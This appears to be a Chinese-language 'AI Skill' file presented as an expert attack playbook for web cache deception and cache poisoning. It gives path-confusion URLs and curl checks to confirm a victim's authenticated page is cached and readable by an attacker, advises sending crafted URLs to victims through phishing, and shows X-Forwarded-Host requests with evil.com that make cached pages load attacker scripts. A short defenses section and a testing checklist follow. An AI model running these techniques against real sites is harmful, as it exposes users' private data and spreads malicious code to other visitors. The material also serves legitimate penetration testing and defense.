AI Skills
web-cache-deception

web-cache-deception

热门

Web 缓存欺骗与缓存污染实战手册。适用于因路径混淆或缓存键（Cache Key）篡改，导致 CDN、反向代理或应用层缓存可能将已认证用户的敏感内容分发给其他用户的场景。

1528Star
197Fork
更新于 2026/6/16
获取 Skill源代码

相关 Skills

camsnap38万fsharp-testing24万tdd-rust8.1万
SKILL.md
只读
名称
web-cache-deception
描述

Web 缓存欺骗与缓存污染实战手册。适用于因路径混淆或缓存键（Cache Key）篡改，导致 CDN、反向代理或应用层缓存可能将已认证用户的敏感内容分发给其他用户的场景。

SKILL: Web 缓存欺骗（Web Cache Deception）— 专家级攻击实战手册

AI 加载指令：Web 缓存欺骗与缓存污染技术指南。涵盖路径混淆攻击、CDN 缓存行为利用、缓存键（Cache Key）篡改，以及缓存欺骗（窃取数据）与缓存污染（分发恶意内容）的核心区别。该技术最初由 Omer Gil 于 Black Hat 2017 提出，后续经过了大幅扩充。

进阶参考

当你需要以下内容时，请同时加载 CACHE_POISONING_TECHNIQUES.md：

  • Web 缓存污染 vs Web 缓存欺骗 — 明确区别与攻击流程对比
  • 未计入缓存键的请求头污染（X-Forwarded-Host、X-Forwarded-Scheme、X-Original-URL、多个 Host 请求头）
  • 未计入缓存键的参数污染（utm_content、fbclid、callback，被反射但未计入 Cache Key）
  • Fat GET 缓存污染（请求体参数被反射但未计入 Cache Key）
  • 利用分号进行参数隐藏（Parameter Cloaking）以及重复参数解析差异
  • 特定 CDN 行为分析：Cloudflare、CloudFront、Akamai、Varnish、Fastly（Cache Key 组成、调试 Header、ESI）
  • Vary 请求头篡改、缓存分区攻击以及缺少 Vary 头的漏洞利用

1. 核心概念

Web 缓存欺骗（Web Cache Deception - 窃取已认证数据）

攻击者诱骗受害者访问一个含有其已认证身份信息的页面，但该 URL 在缓存服务看来被识别为静态资源：

受害者访问：https://target.com/account/profile/nonexistent.css
→ 应用忽略 "nonexistent.css"，返回 /account/profile（包含认证数据）
→ CDN 识别到 .css 后缀 → 将响应内容缓存
→ 攻击者请求：https://target.com/account/profile/nonexistent.css
→ CDN 返回已被缓存的受害者认证内容 → 攻击者窃取出受害者数据

Web 缓存污染（Web Cache Poisoning - 分发恶意内容）

攻击者通过篡改未计入缓存键的请求组件（如 Request Header、Cookie），使缓存服务器存储恶意的响应内容：

GET /page HTTP/1.1
Host: target.com
X-Forwarded-Host: evil.com
→ 应用生成：<script src="https://evil.com/js/app.js">
→ 缓存服务存储该响应内容
→ 普通用户命中缓存 → 加载攻击者的 JavaScript 代码

2. 缓存欺骗 — 攻击方法论

步骤 1：识别可缓存的路径模式

CDN 通常根据文件扩展名进行缓存：

.css  .js  .jpg  .png  .gif  .svg  .ico
.woff .woff2  .ttf  .pdf  .json (部分支持)

步骤 2：测试路径混淆

# 在需要认证的 Endpoint 后追加静态文件扩展名：
https://target.com/api/me/info.css
https://target.com/account/profile/x.js
https://target.com/settings/avatar.png
https://target.com/dashboard/data.json

# 目录遍历风格：
https://target.com/account/profile/..%2fstatic/app.css

步骤 3：验证缓存生效

# 以受害者身份（已认证）发起请求：
curl -H "Cookie: session=VICTIM" https://target.com/account/profile/x.css

# 检查响应头：
# X-Cache: MISS (首次请求)
# Age: 0

# 再次以攻击者身份（未认证）发起请求：
curl https://target.com/account/profile/x.css

# 检查响应内容：
# X-Cache: HIT
# 是否包含受害者已认证内容？ → 若包含则存在漏洞

步骤 4：投送给受害者

通过钓鱼邮件、社工消息或网页嵌入，将构造好的 URL 发送给受害者：

https://target.com/account/profile/tracking.gif

3. 缓存污染 — 攻击方法论

探测未计入缓存键的输入（Unkeyed Input Discovery）

缓存键（Cache Key）通常包含：Host、URL 路径、查询字符串（Query String）。
通常不会计入 Cache Key 的项：X-Forwarded-Host、X-Forwarded-Scheme、X-Original-URL、Cookie 以及自定义 Header。

# 测试 X-Forwarded-Host 是否在响应中被反射且未计入 Cache Key：
curl -H "X-Forwarded-Host: evil.com" https://target.com/page
# 若响应中包含 evil.com 且该响应被缓存 → 可被污染

常见未计入 Cache Key 的 Header

X-Forwarded-Host      X-Forwarded-Scheme    X-Forwarded-Proto
X-Original-URL        X-Rewrite-URL         X-Host
X-Forwarded-Server    Forwarded             True-Client-IP

通过 Host / Forwarded Header 进行缓存污染

GET / HTTP/1.1
Host: target.com
X-Forwarded-Host: evil.com

→ 响应：<link href="//evil.com/static/main.css">
→ 被缓存 → 所有正常用户均加载攻击者的 CSS/JS 代码

4. 路径标准化差异

缓存欺骗的核心精髓在于：CDN 和后端应用对路径的标准化（Normalization）处理逻辑存在差异。

组件 行为模式
CDN（Cloudflare, Akamai） 根据包含扩展名的完整 URL 路径进行缓存
后端应用（Rails, Django, Express） 可能会忽略末尾的路径片段或扩展名
反向代理（Nginx） 可能会在转发请求前截断或重写路径 
# 后端应用将以下路径视为等价：
/account/profile
/account/profile/anything
/account/profile/x.css
/account/profile;.css

# CDN 将 .css 识别为可缓存的静态资源
→ 两者解析不一致 = 存在漏洞

5. 缓存污染真实实战模式

X-Forwarded-Host → Open Graph / Meta 标签注入

# 目标页面使用 X-Forwarded-Host 生成 Meta 标签：
GET / HTTP/1.1
Host: target.com
X-Forwarded-Host: evil.com

# 响应：
<meta property="og:image" content="https://evil.com/assets/logo.png">
# 或：
<link rel="canonical" href="https://evil.com/">

# 如果响应被缓存 → 所有用户都会看到指向 evil.com 的引用
# 影响：通过注入 JS 路径实现 XSS、通过规范化重定向进行钓鱼、SEO 劫持

利用路径分隔符技巧的缓存欺骗

# 分号（被部分框架视为路径参数）：
/account/profile;.css

# URL 编码的分隔符：
/account/profile%2F.css

# 末尾点号 / 空格：
/account/profile/.css
/account/profile .css

6. 防御措施

针对缓存欺骗（Cache Deception）

  • 仅对明确指定的静态路径（例如 /static/*、/assets/*）进行缓存
  • 切勿仅根据文件扩展名决定是否缓存
  • 在包含认证信息的 Endpoint 上设置 Cache-Control: no-store, private
  • 使用 Vary: Cookie 避免跨用户命中缓存

针对缓存污染（Cache Poisoning）

  • 将所有在响应中反射的 Header 纳入 Cache Key
  • 对 X-Forwarded-* 请求头进行严格校验与过滤
  • 对动态内容使用 Cache-Control: no-cache
  • 在 CDN 边缘节点直接剥离未知或非必要的 Header

6. 测试 CHECKLIST

□ 识别 CDN / 缓存层（检查 X-Cache、Age、Via 等 Header）
□ 在需要认证的 API Endpoint 后面追加 .css / .js / .png
□ 验证响应是否被缓存（第二次请求查看是否为 X-Cache: HIT）
□ 测试路径分隔符技巧：/x.css、;.css、%2F.css
□ 测试未计入 Cache Key 的 Header：X-Forwarded-Host、X-Original-URL
□ 检查敏感 Endpoint 上的 Cache-Control Header
□ 检查是否存在 Vary Header 及其配置
□ 分别在已认证和未认证状态下进行对比测试